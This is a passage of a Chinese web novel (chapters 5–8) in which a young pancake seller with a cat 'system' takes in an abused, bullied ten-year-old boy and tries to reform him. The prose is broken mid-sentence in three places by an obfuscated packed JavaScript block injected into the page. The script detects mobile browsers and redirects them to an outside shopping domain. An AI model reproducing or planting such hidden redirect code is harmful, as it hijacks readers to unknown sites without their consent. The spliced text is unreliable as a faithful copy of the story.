自言自语着,他把刚摊好的煎饼和那支药膏一起,朝虞守的方向就抛了过去。 虞守毫无准备,下意识快步冲上,接过那个温暖的塑料袋,紧紧抱住。 他似乎把明浔说的“还债”当了真,就这样留在附近,啃一口看一眼地吃着,像只不知所措的小狗般转来转去,非但帮不上忙,还有点碍事…… 被明浔不耐烦地刀了一眼,他僵了一下,终于开窍进化成了真正的人类,用他两条人类的小细腿,拿着药膏走到煎饼摊后面那个破烂花坛边,跟黑猫之间隔着两个人的距离,坐了下来。 他把药膏放到身边的台阶,再把书包放到地上,从里面拿出作业来写,只是每认真三秒,眼神就会不安分地飘向明浔忙碌的背影。 不是说……要他还债的吗? 虞守不知道自己该做什么,能做什么。明洵不说话,他也不敢主动去问。 空中沉甸甸的乌云无声无息,越垒越多,直到不堪重负,还没等谁开口出话,就先淅淅沥沥地下起了雨。 “哎卧槽……” 煎饼摊有棚,明浔有渔夫帽,湿了半边肩膀才反应过来。 扭头去看,花坛边的小崽子已经变成落汤小狗崽了! 黑猫系统都知道跑到棚子底下避雨,就他那样傻愣愣坐在那里,环抱着自己的书包,用自己的小身板保护更加脆弱的作业。 明浔在无语中加快速度,三两下收好摊,推着车过去,越发密集的雨滴打在塑料顶棚上噼啪作响。 摊子有些重,他自然地停下脚步,看一眼越来越密的雨幕,语气随意地开了口:“这雨一时半会儿停不了啊。小孩儿,顺路吗?” 他抬手,拍了拍摊车后方一块用来放杂物的的木板。 虞守低着头,又陷入了长久的犹豫。 又失败了啊……明浔刚叹口气,突然,小崽子炮弹似的弹起、飞过来,坐上那块木板,双手放在腿间抓牢车架,将自己焊在车尾。 明浔扯了下嘴角,没再多说什么,就这样推着车,载着身后那个轻飘飘又沉甸甸的小“债务”,缓缓走入了蓉城潮湿的雨巷中。 5. 第 5 章 雨丝渐渐变得稀疏,泥土腥气中,隐约的桂花香气又顽强地浮了上来。 明浔推着煎饼车,载着一个小崽子和一只盘踞在车架上的黑猫,缓缓地往前走着。 “你这几天,都住在哪儿?”明浔出声打破沉默,快速回头瞥了一眼身后蜷缩着的小身影,语气肯定,“你没回家吧。” 虞守猛地睁大了眼睛,像是被戳破了什么不可见人的阴暗又潮湿的秘密。 他下意识攥紧衣角,呼吸都急促了起来。他没想到明浔会知道。他得罪了那个男人,回去肯定是一顿往死里打的毒打,这次说不定真的会被打死…… 而且……就算他几天不回去,那对夫妻也根本不会管他死活。 于是他索性就在外面流浪。 桥洞、废弃的窝棚,哪里能遮风避雨就缩在哪里。加上昨天明浔给他的那两个料足顶饱的“大满贯”煎饼,他非但没饿死,反而比平时在“家”里过得还要“滋润”一些。 两人一猫很快回到了明浔暂住的居民楼下。车一停稳,虞守立刻从那块小木板上跳了下来。 等明浔在楼梯后面放好摊车,回头一看——好家伙,小崽子还在原地,站得笔直,一点跑的意思都没有。 几天折腾下来,任务总算有了明显的进展,明浔的心情舒畅了些,但脸上只挑了挑眉,没多话,就自己转过身就往楼道里走。 明浔带头上楼,虞守保持着几步远的距离,默默跟着。 老旧的楼梯间光线昏暗,只有他们的脚步声和声控灯明明灭灭的光影。 到家门口,明浔掏出钥匙插入防盗门锁孔,轻轻扭转——“咔哒”。 寂静中,仿佛有谁的心脏也被这声音揪了起来。 明浔先一步走进屋里,然后半转过身,看向依旧杵在门外的小结界兽:“进来?” 说完,他就没再动作,只是静静等待着。 终于,虞守脱下鞋,抬起脚踏过门槛,进入了这个有着碎花窗帘的房子里面。 明浔侧身让他进来,自己就保持着拉门的姿势,目光毫不客气地上下打量他,眉头皱起:“啧,你怎么脏成这样?” 那件可怜的校服外套,白色的衣服都快被染成灰黑,红底的袖子和白色的袖杠几乎快要“不分家”了。 虞守闻言微微一僵,偏头去看,这才发现明浔始终保持着手握门把的姿势,没有完全关上门…… 他心里咯噔一下,再不敢纠结,三下五除二就把脏得不成样子的外套脱了下来。 出人意料的,他里面那件白色的短袖校服,虽然旧得发黄,却干净得几乎一尘不染,被他保护得很好。 但明浔挑剔的目光又转移到了他那条同样沾满泥灰的红色校裤上,眉头皱得更紧了。 虞守:“……” 他只能把手里的脏外套团攥得更紧,还悄悄地、徒劳地用那团布料去遮挡脏裤子。 明浔终于关上门,转身示意虞守跟上,把他带到了卫生间。 花洒下面有一个方正的陶瓷小浴缸,复古的淡青色。浴缸内部容积不大,刚好够一个成年人站着,高度大概到大腿,要蹲下去抱住膝盖才能勉强泡澡。 但对于严重营养不良、极其虚弱的小崽子来说,这个浴缸显得太过庞大而危险。 明浔想了想,转身去客厅,搬来一把红色的塑料凳子放进浴缸里。凳子不高不矮,给小崽子坐着洗澡正好,椅子四面都只有放腿的空间,人滑不进去,算是个简陋但有效的安全措施。 他全程无视身后那道紧黏的目光,旁若无人地忙活:调好水温,放水,还不忘拔开窗户的插销,推开些许缝隙,让外面带着湿润凉意的风吹进来换气。 “花洒会用吧?左边热水右边凉水。热水别打到头,会烫。”明浔给新生人类事无巨细地介绍,“你太脏了,多在浴缸里泡会儿。不着急。什么时候洗干净什么时候出来。” 说完一转身,差点撞到不知何时悄无声息站到他身后半步处的小不点。 “让让。”明浔说。 “!” 虞守吓了一跳,赶紧后退半步,抬起头,用那双总是写满了倔强的眼睛瞪视着这个高大的年轻男人。 那眼神依旧算不上讨喜,但里面的警惕明显少了大半,被一种压抑不住的好奇和茫然替换掉了。 “让让。”明浔微垂着眼看他,语气没什么起伏,“不会说话,耳朵也不好?” 这话像根小刺,精准地戳向小崽子那脆弱又执拗的自尊心。他抿了抿嘴唇,还算乖巧地往后又退开了一步。 明浔从客厅一角找出一个黑色大塑料袋,里面都是他初来乍到那天从附近市场采购的生活用品。他日子过得糙,大部分东西还没拆封。 他翻找了一会儿,拿出一大瓶桂花味泡泡浴露,回到卫生间拧开盖子,往浴缸里倒了小半瓶。 在他修长手指的搅动间,丰富细腻的泡沫涌起,渐渐堆满了大半个浴缸。 “你自己能洗澡吧?还是需要我帮你?”明浔擦着湿漉漉的手。 没人应声。 “行,你自己洗。我出去了。”明浔自顾自完成了阅读理解,抬脚走出卫生间,轻轻带上门,“我就在外面等着,你洗完自己出来。” 虞守坐在红色凳子上,大半个人都没入了桂花香味的热水里,似乎不用呼吸一样把口鼻也藏了起来,就露出那双因为比一般人黑亮而显得格外倔犟的眼睛,望着花玻璃门上那条绰约的影子。 只是身上新旧交错的伤痕让热水一浸,全身的疼痛开关就像被彻底激活了。 虞守疼得龇牙咧嘴,强忍着,仔仔细细地搓细自己,同时依然不忘紧张地瞥向花玻璃门。 忽然,门上的影子一晃,消失了。 虞守心里一紧,手忙脚乱地爬出浴缸,扯过旁边搭着的新毛巾胡乱擦了几下,套上自己的旧短裤,湿漉漉的脚丫踩在冰凉的瓷砖上,三步并作两步冲过去,一把撞开了卫生间门。 刚冲出去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712388|189289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那道消失的影子就变成了明浔本人—— 那顶标志性的渔夫帽摘了,一头乱糟糟、微微卷曲的中长发像触角一样探向四面八方。他正从沙发那边走过来,一手拎着干净的塑料拖鞋,一手托着干净的新衣服。 “喏。” 虞守一颗悬着的心咻地落地,庆幸一般地赶紧接过那套新衣服,乖乖地给自己套上。 这身衣服是明浔特意买大的——等自己离开后,虞守长个了还能穿。 肩线垮到手肘,下摆遮住半条裤子,袖子长出好一截,虞守不得不把袖口挽了好几道,动作笨拙得要死,然后才露出他那皮包骨的小细手腕。裤腿堆在脚踝,像两个臃肿的面口袋。 明浔毫不客气也毫不遮掩地:“扑哧。” 虞守立刻联想到“欠债证明”上的歪嘴笑简笔画,差点又炸起了不存在的毛。 但有什么不同…… 因为明浔没戴帽子,额前的碎发被抓了几下,拨开了,让虞守得以看到那双微弯的眼睛,以及里面噙着的,小孩儿都看得懂的戏谑。 “……” 虞守忙低下头不敢再看,耳根还有点发烫。 等明浔转身去收拾,他才悄悄抬起手臂,把鼻子埋进柔软干燥的布料里,小心又贪婪地嗅闻。新衣服上有种陌生的干净味道,混合着甜腻腻的桂花沐浴露香气。 这套房子里除了刚用过的卫生间,还有两扇紧闭的房门。这是个两室一厅的居室,比那对夫妻的房子要宽敞不少,布局合理,也更整洁干净。 因为刚洗过澡,浑身香喷喷的似乎和这个环境融为了一体,于是小狼崽一改先前的怯怯,大尾巴狼似的就逡巡了起来,趁着明浔不注意的时候,慢慢挪步、转圈,一点一点开拓新的领地。 窗户上挂着的碎花窗帘,比他在楼下仰望时看到的还要漂亮……脚下是有些泛黄但擦得很干净的瓷砖地砖,墙边围着墨绿色的踢脚线,靠墙放着一张红木质地的硬沙发,玻璃茶几上铺着一块白色的蕾丝盖布……全都很漂亮。 玻璃茶几上,那里还放着一个标签被撕掉的空塑料瓶。没记错的话,这人煎饼摊上那些酱油、醋之类的调味料,都是用同样款式的饮料空瓶装着的…… 但茶几上这个空瓶干干净净,没有沾染任何油污,透明的瓶身里,赫然插着那根他昨天扔向煎饼摊的桂花枝! 屋外,经过一场秋雨的摧残,桂花树上的密密麻麻的花朵已然稀稀落落。 这一小支被他亲手折下的桂花,却在这干净的塑料瓶里保存得相当完好,细小的金黄色花瓣像团簇的碎星星。在这间有着碎花窗帘的屋子里,暗香浮动。 “喂,小孩儿。” 被入侵领地的主人似乎有所察觉,轻轻一声就把色厉内荏的小入侵者吓了一跳。 虞守提拉着裤腿慌张地回过头,突然间就忘了刚才神游天外到哪儿了……他仰头和那人对视,看着那双眼睛,恍惚间想起来了,好像是……这里的一切都很漂亮。 6. 第 6 章 明浔走近,目光落在局促的虞守身上,语气带着多此一举和刻意为之的嘲讽:“你认字的吧?我给你的纸条看了?我车摊上的‘小明煎饼’几个字,都认识?” 他像是在询问一个幼稚园儿童,而非四年级的小学生。 “……” 虞守沉默了一瞬,然后竟然乖乖地、小幅度地点了下头。 明浔眉梢刚抬起半边,竟然又听到眼前这小崽子破天荒地,憋出了一丝微弱的:“……嗯。” 虽然几乎听不见,但这是虞守第一次的、正式的回应。 明浔微微惊讶,随即笑了起来。他的嘴唇偏薄,不笑的时候显得格外冷淡,笑起来时弧度却很大,露出整齐的牙齿,很有……感染力。 “招牌上那‘小明’是我的名字,我全名李明。木子李,明亮的明。你叫我小明哥,明明哥哥,哥,大哥,什么都行。” “李明”自然是明浔非常有“自知之明”地,为自己这个“路人”取的化名,他自认为非常扣题。 说完,他俯身凑近了些,那双带笑的眼睛里闪过一丝隐约的警告:“嗯……你应该不会觉得我像‘叔’吧?” 虞守还是不吭声,只是垂着眼睫,在心里默默重复了几遍“李明”和“哥哥”。 然后,他忍不住抬起眼,偷偷望着那张带着笑意的脸,陷入思索。 以小学生的浅薄见识,其实并没有准确判断大人年纪的能力,除非对方已经是白发苍苍、特征明确的爷爷奶奶。否则,对方是“姐”是“姨”、是“哥”是“叔”,全凭父母平时的教导和那点模糊的社交直觉。 虞守的记忆里并没有相关的教导,也不了解那种刻意把人叫年轻些的中式礼貌。他只觉得……这个人和周围那些面目模糊的大人都不一样。 像他在别人家窗户里瞥见的电视里的明星,那样好看又遥不可及。 “行,以后就叫哥。”明浔也不强求他开口,拍板道,“今天就这样,休息了。从明天开始继续出摊,你陪我一起,还债。”说着指了指红木沙发和玻璃茶几,“平时没别的事,你可以在这儿看书,做作业。明白?” 像是被这句话解锁了新的活动权限,虞守看了他一眼,打开放在门口的那个脏兮兮的书包,从里面掏出练习册和铅笔,一边用眼角余光注意着明浔的动向,一边像只警惕的小动物般慢慢挪动,好不容易才在沙发边缘坐下,在腿上摊开了练习册。 很顺利。 明浔心情不错地想,这小崽子犟归犟,抽一下才动一下,像个灌了水泥陀螺。但从某种角度来说,也算听话。他很确定虞守不会像网上说的那些熊孩子一样乱跑拆家,也不会在还清那笔“债务”之前偷偷溜号。 他简单交代了句“我收拾一下”,转身进了卫生间。他还得处理那堆和垃圾无异的脏校服。 卫生间里,明浔拎起那团被虞守塞在角落的脏衣服。 他先从裤子口袋里摸出一支活血化瘀的药膏、一枚皱皱的创可贴,一张被对折了两次“欠债证明”;心情有些复杂地再摸另一边口袋,很轻,却鼓鼓囊囊的。他狐疑地伸手,然后……掏出了两个油汪汪的塑料袋。 明浔:“……” 他犹豫了几秒,还是把两个油腻的塑料袋扔进了垃圾桶。至于剩下的创可贴和欠条,虽然无疑也是破烂,但考虑到小崽子那脆弱又执拗的小心脏,他还是把它们就近放在了洗衣机的盖子上。 窗外的雨已经停了,明浔去门口换鞋,边对沙发上那个僵硬小身影说:“我出去一趟,你看家。” 虞守猛地抬起头看他,那双黑亮的眼睛里瞬间填满了不知所措和慌张。 明浔又补充一句:“回来的时候,我要看到你做完的作业。” 虞守捏紧铅笔,没说话,只是迅速地低下头去,对着本子奋笔疾书。 明浔去了趟附近的超市,先买了点晚上做饭的简单食材。他想起虞守那副营养不良的样子,脚步一转,转进了酒水饮品区。 货架上是琳琅满目的“奶制品”,AD钙奶、健固儿童奶、儿童高钙奶、营养舒化奶……花花绿绿的包装上大多印着“营养”“健康”“助力成长”的字样。明浔不太懂这些,也不清楚小崽子口味如何,就每种都拿了一点,几乎把带“奶”字的饮品扫了个遍。 提着一大袋东西回来,菜收进厨房,那些“奶”则在玻璃茶几上一字排开。 虞守看着这阵仗,乌黑的眼睛露出少见的茫然。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712389|189289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被明浔催了两次他才伸出手,从一排四瓶AD钙奶里拿了一瓶,插进吸管,小心翼翼地喝了一口。 他抿唇停顿了一下,似乎在品味,接着像是被打开了什么开关,三两口喝完一整瓶,差点呛到。最后还意犹未尽地砸吧了一下嘴。 明浔看得好奇,也拿起一瓶AD钙奶,嘴巴一吸,一股带着香精味道的甜味瞬间充斥口腔。 他愣了一下,随即恍然:“我去。我就说呢,这根本就是饮料吧?” 难怪小崽子喝得飘飘欲仙,仿佛这辈子第一次尝到甜蜜滋味的模样。 ……不过还真有可能是第一次。 “小孩儿吃多了糖不好……”明浔扮演记忆里的“大人”先教育一句,然而瞥见虞守那副营养不良的样子,话声不由一顿,“嗯,但你不一样,你得多吃点,什么都得多吃点。先喝这些垫垫肚子,半小时后吃正餐。” 安排好小崽子,明浔撩起袖子就去了厨房,黑猫晃着尾巴慢悠悠跟上。 明浔开水洗菜,忽然脑海里响起人声,系统疑惑地问:“宿主,你怎么连小孩应该喝什么牛奶都不知道?”这应该是人类的基本常识,何况这个宿主还是他经过多项匹配,精选出来的最适合感化虞守的人。 明浔一边收拾择菜,一边在脑中懒洋洋地回应:“爸妈在的时候,我好歹也算个衣来伸手饭来张口的少爷,家里的食谱由专门的营养师制定。这种劣质的流水线出品,我连包装都没见过。” 系统又问:“那后来呢?” 明浔低下头切菜:“后来?后来上中学了,还喝什么牛奶?幼不幼稚。况且一盒牛奶少说两块,喝下去也就润润嗓子,换成大白馒头能买四个,省着点够一个半大小子顶两天。” 他从不会把往事挂在嘴边,不过系统不是人,他纯当作是自言自语,打发时间。 也是和系统聊了聊他才发现,陈年往事仍旧历历在目,但他已经能用一种与自己无关的语气轻松地说出来了。 不过…… 他望着面前收拾好的半边鱼,喃喃自语似的换了个话题:“鱼清蒸还是红烧?统儿,你好歹是半个猫,有好的建议么?” 这些柴米油盐才是他眼下需要关注的事。 7. 第 7 章 虞守并不主动伸筷子,但明浔用眼神或下巴示意哪盘菜,他就默默夹哪盘,没有任何挑食的迹象,吃嘛嘛香。 那小小的身躯里仿佛藏着个无底洞般的胃囊,如果明浔不喊停,他说不定能一声不吭地把整桌饭菜都囫囵吞下去。 考虑到他常年忍饥挨饿,明浔给他盛的那碗米饭垒得像座小山,比自己这个成年人的分量还多。 等自己吃饱撂下筷子,明浔才后知后觉地想起来,饿久了的人肠胃脆弱,不能一次性吃太多,暴饮暴食极容易出问题。 “吃饱了就行,吃不完没关系。” 这话一出,对面正往嘴里扒饭的小崽子动作一顿,慢慢放下了筷子。 只是腮帮子还鼓鼓囊囊的,塞了满满一大口白饭,好半天,才在明浔的注视下艰难地咽了下去。 明浔一阵无语,让他自己去洗干净手和嘴,把他带到提前收拾好的次卧。 “困了就在这儿睡。这间房间里的东西都是你的,随便用。”明浔保持握着门把的姿势站在门口,只要迈一步就能整个人脱离这个空间,“晚上有什么事,随时可以到隔壁房间找我。”交代完便带上门出去了。 “……” 贸然跟着一个外地来的陌生男人回家,虞守清楚,这很危险,哪怕对方表现得进退有度。 他也明白对方并非临时起意。从来到这儿摆摊的第一天起,那人就试着和他搭话,找各种借口送他煎饼…… 看他可怜?但虞守不这么想。 踏进这间屋子之后,真相昭然若揭:干净的床上用品是提前备好的,衣柜里的衣裤全是童装,书桌上还放着崭新的文具和书包……所有东西,都像是专门为他准备的。 这个男人是有备而来。 可不知为什么,虞守并不害怕。 对方既然花了这么多钱,就算真想把他拐了卖了,总比贪图每月三百块补助的人好得多。况且投入了这么多,总不可能是图他一条贱命……他不值钱的。 也更没必要……留下那枝桂花。 他其实不怕死,但不想死。只因为胸口有股憋了太多年的闷气,如果现在就死了,他咽不下去罢了。 虽然不怎么怕,但陌生的环境依然让虞守辗转反侧,身下柔软的床铺更让他无所适从。 他睡的这张床是一米二的单人床,他小小的身躯只占了半边,另外半边的床头被明浔摆了一只毛茸茸的棕色玩具熊,看着憨态可掬,但关了灯之后,那两颗塑料眼睛就像鬼一样在暗中窥视着…… 好不容易迷迷糊糊睡着,深夜寂静中,门外突然传来冰箱开合的声音。他吓得一个激灵,条件反射地翻身就往沙发底下躲,结果“扑通”一声在地上摔了个屁股蹲儿。 虞守懵懵地瞪大眼睛,他忘了自己不是睡在客厅沙发边的地铺,而是睡在床上,这一滚直接结结实实地砸在了地板上。 老房子的隔音效果几乎为零。下一秒,房门被推开,手里拿着一瓶冰水的明浔出现在门口。 窗外透进来朦胧月光,勾勒出床上一片平坦。明浔立即拍亮顶灯,灯光驱散黑暗,也让他和坐在地上惊魂未定的小崽子撞了个眼对眼。 “……做什么呢?”明浔皱了皱鼻子,“喜欢睡地板?” 虞守摇了摇头,默默地重新爬回床上去。 明浔想了想,正好从兜里拿出晾干的“欠债证明”和旧创可贴,加上那支药膏和已经烘干的衣服一起,过去放到了小崽子的书桌上。 就这样,他不着痕迹地让那支药膏满足了“房间里的东西可以随便用”的条件。 同一个周末的两天,呈现出截然不同的气质。 周日清晨的阳光,一口气驱散了前两天秋雨的阴冷潮湿,而那连绵的秋雨又洗刷了这座工业城市积攒的灰尘废气,这一切共同造就了一个难得的、万里无云的晴天。 吃了简单的早餐,明浔便带上穿着干净校服的虞守出了门,正式开始虞守的“还债”日常。 摊子刚在小路口支稳,几个颇为眼熟的大孩子就晃晃悠悠地出现了。领头的那个块头最大,一眼就锁定了正搬凳子的虞守。 “哟!这不是虞守吗?”他故意拉长了调子,几步跨过来,用肩膀狠狠撞了一下虞守瘦小的身板,“几天没见,长本事了?还帮人看起摊子了?” 虞守被撞得一个趔趄,依然紧紧抓着那个红色塑料凳,低着头仿若未觉,只把凳子往明浔指定的位置搬。 凳子一落地,另一个男孩立刻过来一脚踩住:“你也会做好事了?真稀奇!” “老板,离他远点,小心他跟他爸一样发疯!”还有个孩子状似好心地提醒明浔。 明浔沉着脸,手里的刮板敲在铁铛边缘。他眼神冷飕飕地扫过那几个小子:“你们干什么?找事儿?” 几个孩子再浑不吝也只是孩子,被他的气势慑住,下意识地放开凳子连退三步,只嘴上坚持:“我们……我们跟他说话,关你什么事?” “在我的摊子前,”明浔用刮板隔空点了点他们,“就关我的事儿。” 几个半大小子互相看了看,有点怂,但又不想丢面子,就这样跟明浔僵持住了。 明浔没再理会他们,转身从旁边拿起几个刚做好的原味煎饼,塞到他们手里:“拿着,一边吃去,别在这儿碍眼。” 孩子们愣了一下,做好了干架的准备,不料结果却是这种惊喜。他们你看看我我看看你,看着手里热乎乎的煎饼,又看看明浔没什么表情的脸,最后互相使了个眼色,拿着煎饼一溜烟儿跑了。 明浔解决了这个麻烦,没想到一扭头,就对上了一双熟悉的黑眼睛。 那双眼睛燃着两簇忿忿不平的小火苗,正死死盯着他。 “我怎么你了?”明浔好笑又无奈。 虞守抿了抿唇,到底没敢公然叫板,就转过身去。 望着那比顽石更固执的背影,明浔估摸着,如果是寻常小孩,可能会幼稚地认为“大人”这种息事宁人举动是和“坏人”站在了一边,然后窝里横。 虞守显然是个比同龄人更为聪明的小孩,虽然轴,好歹没有轴在这种是非不分的方面。 更大的可能性是……做人尚不熟练的小狼崽子,他的“领地意识”发作了,不乐意看到“自家”的煎饼被欺负他的人“白嫖”了去。 “得了,就几个饼的事儿。”明浔想明白了,但懒得琢磨漂亮话,也不管这十岁的小崽子能不能听懂,“有时候退一步,得饶人处且饶人,反而日子过得舒坦。小孩儿,等你长大就明白了。” 他要收拾那几个寻衅的小混球,不过抬手的事儿。可虞守还得一个人去学校上课,倘若自己贸然动手,回头那些大孩子的报复,只会变本加厉地落在虞守身上。 失去父母庇佑的中学时期,他选择的处事方式就是笑脸和妥协。纵然要打工凑学费、应付人情开销,至少他没在同学那儿吃过明枪暗箭的亏,没让日子再添一层糟心。 此时的小崽子再聪明也就一小孩儿,这些话他没跟孩子多掰扯,随手一挥:“去,把那边的垃圾收拾了。” 听了他的解释,虞守的眉眼反倒比刚才更阴沉两分,一脸不服气。 明浔没再啰嗦,抬手朝懒洋洋趴在花坛上的黑猫勾了勾,让黑猫跳上肩膀。 “统儿,”明浔在脑中问,“虞守为什么老被这几个小子欺负?” 系统的声音在脑中响起,带着点无奈:“小说里只夸张地写过一句‘虞守把小时候那些欺负过他的人的手全都折断了……’至于具体为什么被欺负,小说没写,街坊邻居和学校里的学生也没有公开谈论过,我不知道。” 明浔无语,心说自己这个塑料“金手指”恐怕其实是纸糊的! 系统人性化地咳一声,又补充道:“宿主,你要记住,这个世界在你看来是小说,但本质上是一个真实的平行世界。小说里没有描述的部分,以及在这个世界里没有被公开谈论或是报道的部分,就是未被记录的‘现实’,没有谁能通过上帝视角知晓。” 明浔揉了揉眉心。他走到闷头捡垃圾的虞守身边,随口问:“刚才那几个,找你麻烦也不是一次两次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712390|189289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,你都认识?” 虞守都没回头看人,过了几秒,倒是稀罕地开了口:“一个。” “认识一个?”明浔了然,“是那个领头的、块头最大的?” 虞守依然没回头,“嗯”一声。 得到这点线索,明浔目光在周围扫了一圈,看到几个正嗑着瓜子聊得热火朝天的中年妇女。这些天以来,明浔掌握的那些八卦全靠她们。 明浔说了声小孩儿看着摊车,自己带着猫走过去,挂上客气的笑容:“大姐,打听个事儿。” 妇女们闻声回头,脸上齐齐露出点惊讶,像是意外于这个外来的小摊主会主动和自己打招呼,又像是意外于那张格外白净清隽的面庞。 明浔凶人的时候从不留情面,帽檐下阴影里的眼睛冷得能结冰。可他抬头笑起来,又是另一副春回大地,能令冰雪消融、万物复苏的奇景。 在连下点雪沫都稀罕的蓉城,哪里有人见过这等世面。 “刚才那几个半大小子,领头最高那个,您知道是谁家的吗?好像老在这一片玩儿。” 为首的妇女愣了几秒才意识到他是在问自己,几乎知无不言地回答:“哦,你是说浩坨吧?就前面那栋老陈家的外孙,他爸妈在外地打工,平时住姥姥家。可不是个省心的。” “这样啊,”明浔点点头,故作闲聊,“我看他们好像总跟那孩子过不去?”他用眼神点了一下虞守的方向。 瞧见虞守,那妇女顿时变了脸色,声音也压低了:“可不是嘛!听说浩坨他表弟,就跟那孩子一个班的,陈家那个学习特别好的崽子陈文龙,和他好像有点过节。具体为啥我也不太清楚,但陈家那崽子可是三好学生啊!浩坨也是给他弟出头。你说,这些事大人哪能管啊。” 她稍作停顿,瞥了眼煎饼摊旁低着头气质阴沉的虞守,到底没忍住又来了句,“那孩子也是……唉,反正是他先得罪了陈家的崽子,活该被教训。” 明浔谢过了那个妇女,眉头微蹙。同学矛盾?这听起来像是校园欺凌常见的表面原因。他望着虞守那单薄而沉默的背影,心里明白,要想从小崽子嘴里掏出真相……够呛。 系统在他脑中补充说:“虞守在学校的处境并不好,班上所有同学都不太喜欢他,觉得他性格阴郁古怪,还不爱说话。” 明浔蹙眉追问:“还有呢?” “还有……就是你已经知道的,”系统说,“虞守是‘杀人犯的孩子’。” “对,‘杀人犯的孩子’。重大命案的杀人犯。”明浔的眉头忽然松开了,他语速加快,一口气道,“因为他父亲犯的事,大人们对他是又厌恶、又恐惧。那对收养他的夫妻,还有那些嚼舌根的路人,大可以说他们是没把孩子当一回事儿。但和虞守同龄的小孩儿可不同——” 他顿了顿,看着不远处独自忙碌虞守,继续对系统说:“小孩儿的是非观简单,懂的东西大多来自学校的教导:做个遵纪守法的好公民,遇到坏人坏事要找警察……” 明浔忽然抬手,轻轻敲了下肩膀上的猫脑袋,揭晓谜底:“你想想,面对一个和‘杀人犯’有直接关联的人,正常小孩儿的第一反应会是什么?是害怕。躲着走还来不及,顶多在背后蛐蛐两句暗中孤立他,怎么可能因为这个身份就明目张胆地欺负他、揍他?就不怕把他逼急了,狗急跳墙学他爸,给自己也来一刀?” 系统恍然:“……有道理。但如果不是因为这个,那到底是因为什么?” “我哪知道。问小孩儿也没用……”明浔幽幽叹了口气,无奈地低声骂了一句,“不是哑巴,胜似哑巴。” 不过,至少他确认了一件事:虞守被陈文龙的大哥欺负,必然另有隐情。 无论那隐情如何,但虞守似乎……并不怎么在意这种来自同龄人的暴力。 或许在他看来,这些孩子间的推搡辱骂,和他养父那些实打实的拳脚比起来跟挠痒痒差不多。 他宁愿挨点无所谓的肉/体上的伤痛,也懒得在这种事情上多耗费心神。 就像对很多事情一样,已经麻木了。 8. 第 8 章 傍晚回家,明浔先进门脱鞋,回头瞥眼虞守,依旧是那抿着嘴、强压着不服气的倔样。 明浔真是又好气又无奈,想了想,自言自语般慢悠悠地说:“对付那些人,直接冲上去动手,是最笨的办法。打赢了,人家找更厉害的人来报复你;打输了,你自己疼。治标不治本……” 虞守还是不吭声,但耳朵尖微微动了一下。 “这些道理,你肯定也清楚,对吧?” 虞守维持着蹲着换鞋的姿势不再动了。 “热处理很傻,但冷处理……” 直到虞守被拖长的尾音勾着抬起头,明浔笑了笑,看着他意有所指:“冷处理也很笨。” 虞守:“……” “你得学会蛰伏,先观察。找到对方最得意、最以为傲的地方,然后……”明浔摘下帽子,随手抓了抓头发,边往屋里走边语气随意地说,“在他最没防备的时候,精准地打下去。一击,就要让他最看重的东西碎掉。那可比打断他几根骨头有用多了。” 明浔走开几步再回头一看,虞守还蹲在地上,只脑袋仰着,眼睛一眨不眨地盯着自己看。 虞守没说话,脑海里的系统倒是发出爆鸣:“宿主!他现在只是个十岁的小孩!你在说什么啊!!” 明浔没理它,看着虞守那副小大人般的专注模样,有点好笑,便顺手揉了揉他洗干净后软乎乎的头发:“明白?” 虞守竟然真的点了点头,小脸上是一片与他年龄不符的认真。 明浔在脑中对系统说:“看见没?只要他学会不用拳头解决问题,不去打断别人的腿,咱们这感化任务就算迈出一大步了。” 系统无语凝噎:“……原著里‘折断手’只是艺术夸张的侧面描写!他骨子里根本就不是崇尚武力的人!” 处心积虑,步步为营,才是这位未来反派的行事风格。 确实,明浔也清楚,从小就有两位男性身体力行地教会了虞守,暴力有多么低级且无效。用刀解决问题的,最后自己也送了命;用拳脚打人的,从未真正打服过谁。 而那个从未被打服的小家伙,今天因为哥哥的煎饼被送给“敌人”,一直憋着闷气。 明浔蹲下身,视线与他齐平,直接问:“还在生气?因为我?” 虞守低头不吭声,只长长的睫毛轻轻颤动了几下,像是在期待着什么。也许是解释,也许是大人哄小孩的话…… 可惜明浔又不是什么爱心泛滥的天使。他语气平静,一字一句:“我给了你吃,给了你穿,给了你住。你没资格跟我生气。说实话,就你之前那爱答不理、连声人都不叫的劲儿,我已经忍得够了——拿着。” 虞守猛地抬起头,嘴唇张了张,一个音也没发出来,就被怀里那袋东西堵了回去。 “昨天买多的零食,”明浔站起身,“我分了些出来,你明天拿去学校,送给陈文龙。” 虞守脸上闪过一丝抗拒。但他很快意识到自己的失态,迅速低下头,把半张脸埋进鼓囊囊的零食袋后面。 说实话虞守就是无所谓。 